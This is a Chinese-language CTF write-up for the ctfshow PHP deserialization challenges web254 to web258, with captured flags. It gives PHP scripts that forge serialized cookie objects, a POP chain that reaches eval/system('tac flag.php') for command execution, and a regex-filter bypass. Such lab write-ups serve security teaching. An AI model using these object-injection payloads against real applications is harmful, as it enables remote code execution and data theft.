目录
1、web254
传入符合要求的用户名和密码即可:
?username=xxxxxx&password=xxxxxx

拿到 flag:ctfshow{e4795ccd-6bff-44b6-a15c-6c679d802e61}
2、web255
整体逻辑代码和上一道差不多
新增了一个从 cookie 中反序列化用户对象 ctfShowUser 然后进行检验是不是 vip
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=true;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$c = new ctfShowUser();
echo serialize($c);
echo "\n".urlencode(serialize($c));
?>
将 $isVip改为 true,直接反序列化传入发现没有回显
将内容进行 url 编码后传入 cookie
user=%4f%3a%31%31%3a%22%63%74%66%53%68%6f%77%55%73%65%72%22%3a%33%3a%7b%73%3a%38%3a%22%75%73%65%72%6e%61%6d%65%22%3b%73%3a%36%3a%22%78%78%78%78%78%78%22%3b%73%3a%38%3a%22%70%61%73%73%77%6f%72%64%22%3b%73%3a%36%3a%22%78%78%78%78%78%78%22%3b%73%3a%35%3a%22%69%73%56%69%70%22%3b%62%3a%31%3b%7d
这里注意,get 传入的用户名和密码也是会被检测的
?username=xxxxxx&password=xxxxxx
拿到 flag:ctfshow{c614a837-13fc-4428-af94-7e9a1cede62c}
3、web256
这次要求用户名和密码不能相等,修改成不相等序列化传入,
反序列化时会覆盖掉用户名和密码的值:
<?php
class ctfShowUser{
public $username='a';
public $password='b';
public $isVip=true;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}
$c = new ctfShowUser();
echo serialize($c);
echo "\n".urlencode(serialize($c));
?>
?username=a&password=b
user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A1%3A%22a%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%22b%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
拿到 flag:ctfshow{1ad9f933-40fe-4f29-beaf-5b02aeb03e97}
4、web257
出现多个类了,典型 pop 链构造
这里就不再赘述怎么找 pop 链了,详细方法过程参考我之前的文章:
个人认为还是讲得很详细了
[NISACTF 2022]babyserialize(pop链构造与脚本编写详细教学)-CSDN博客https://myon6.blog.csdn.net/article/details/131565599也有部分视频,移步 b 站:SNERT预备队培训-day1-Web&Misc(pop链构造&实战CVE-2023-27524&杂项基础)_哔哩哔哩_bilibili
https://www.bilibili.com/video/BV1Eb4y1N7kB/?spm_id_from=333.999.0.0
exp:
<?php
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=true;
private $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo(); // 2 backDoor
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code = "system('ls');";
public function getInfo(){
eval($this->code); // 1 system
}
}
$b = new backDoor();
$c = new ctfShowUser();
$reflection = new ReflectionClass($c);
$property = $reflection->getProperty('class');
$property->setAccessible(true);
$property->setValue($c, $b);
echo urlencode(serialize($c));
?>
通过反射调用私有变量
payload:
?username=xxxxxx&password=xxxxxx
user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A1%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A13%3A%22system%28%27ls%27%29%3B%22%3B%7D%7D
读取 flag.php
user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A1%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%27tac+flag.php%27%29%3B%22%3B%7D%7D
拿到 flag:ctfshow{36ec79b6-1f80-4509-9d9e-da7b392ac132}
5、web258
这里 code 和 class 都成了公有变量,我们可以直接访问到,只是增加了正则过滤,匹配的是大小写 o 或者 c:数字: 这种形式的内容,我们在数字前添加 + 绕过。
exp:
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=true;
public $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}
$b = new backDoor();
$b->code = "system('tac flag.php');";
$c = new ctfShowUser();
$c->class = $b;
$cc = serialize($c);
$mdf = preg_replace('/O:(\d+):/i', 'O:+$1:',$cc);
echo $mdf."\n";
echo urlencode($mdf);
?>
?username=xxxxxx&password=xxxxxx
user=O%3A%2B11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27tac+flag.php%27%29%3B%22%3B%7D%7D'tac' is not recognized as an internal or external command,
拿到 flag:ctfshow{4592a841-e720-4e12-afd2-59f2e69fb9e3}